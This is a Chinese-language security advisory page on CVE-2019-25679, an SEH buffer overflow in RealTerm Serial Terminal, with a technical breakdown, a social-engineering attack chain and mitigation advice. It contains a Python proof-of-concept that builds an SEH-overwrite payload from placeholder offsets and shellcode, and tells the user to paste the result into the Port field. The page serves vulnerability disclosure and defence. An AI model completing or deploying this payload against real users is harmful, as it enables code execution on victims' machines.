IPBUF安全漏洞报告
English
CVE-2019-25679 CVSS 7.8 高危

CVE-2019-25679 RealTerm SEH缓冲区溢出漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2019-25679
漏洞类型
缓冲区溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
RealTerm Serial Terminal

相关标签

缓冲区溢出SEH本地代码执行RealTermCVE-2019-25679

漏洞概述

RealTerm Serial Terminal 2.0.0.70版本存在严重的结构化异常处理(SEH)缓冲区溢出漏洞。该漏洞位于Echo Port选项卡,允许本地攻击者通过提供恶意载荷执行任意代码。攻击者可构造包含POP POP RET指令链和Shellcode的载荷,诱骗用户粘贴到Port字段并点击Change按钮触发。此漏洞导致机密性、完整性和可用性全面受损。

技术细节

该漏洞由于RealTerm在处理Echo Port选项卡用户输入时未进行有效长度验证导致。当超长字符串输入Port字段时,会触发栈溢出并覆盖SEH记录。攻击者利用SEH覆盖技术,构造特定布局的缓冲区:填充数据覆盖至SEH地址,将SEH指针替换为指向POP POP RET指令的地址(通常来自非ASLR模块),并在Next SEH处放置跳转指令。当程序处理异常时,执行流被劫持至攻击者注入的Shellcode,从而实现本地任意代码执行。

攻击链分析

STEP 1
1. 载荷构造
攻击者生成包含填充数据、SEH覆盖地址和恶意Shellcode的特定字符串。
STEP 2
2. 社会工程学诱导
攻击者诱导受害者打开RealTerm Serial Terminal软件并导航至Echo Port选项卡。
STEP 3
3. 输入恶意数据
受害者将攻击者提供的恶意字符串粘贴到Port字段中。
STEP 4
4. 触发漏洞
受害者点击Change按钮,触发缓冲区溢出并覆盖SEH处理程序,执行Shellcode。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2019-25679 - RealTerm Serial Terminal SEH Buffer Overflow # This script generates a malicious payload to trigger the vulnerability. import sys def generate_payload(): # Buffer padding to reach SEH structure (Hypothetical offset) # Exact offset requires debugging, this demonstrates the structure padding = b"A" * 1000 # Next SEH: Jump short 6 bytes to skip SEH handler and land in shellcode next_seh = b"\xeb\x06\x90\x90" # SEH: Address of POP POP RET instruction # This address must be a valid address from a loaded module (e.g., OS DLL or App DLL) # Placeholder used here as exact address depends on system version seh_handler = b"\xAA\xBB\xCC\xDD" # Shellcode: Example (e.g., calc.exe or bind shell) # Real shellcode would be generated by msfvenom shellcode = b"\xCC" * 500 payload = padding + next_seh + seh_handler + shellcode return payload if __name__ == "__main__": print("[+] Generating payload for CVE-2019-25679...") payload = generate_payload() print(f"[+] Payload length: {len(payload)} bytes") print("[+] Copy the raw bytes below and paste into the 'Port' field in RealTerm Echo Port tab, then click 'Change'.") print(payload.decode('latin-1'))

影响范围

RealTerm Serial Terminal 2.0.0.70

防御指南

临时缓解措施
在未获得官方修复补丁前,建议用户不要将来源不明的长文本内容粘贴到RealTerm的输入框中。同时,应限制对该软件的访问权限,仅允许受信任的用户在隔离环境中使用,以降低潜在的安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表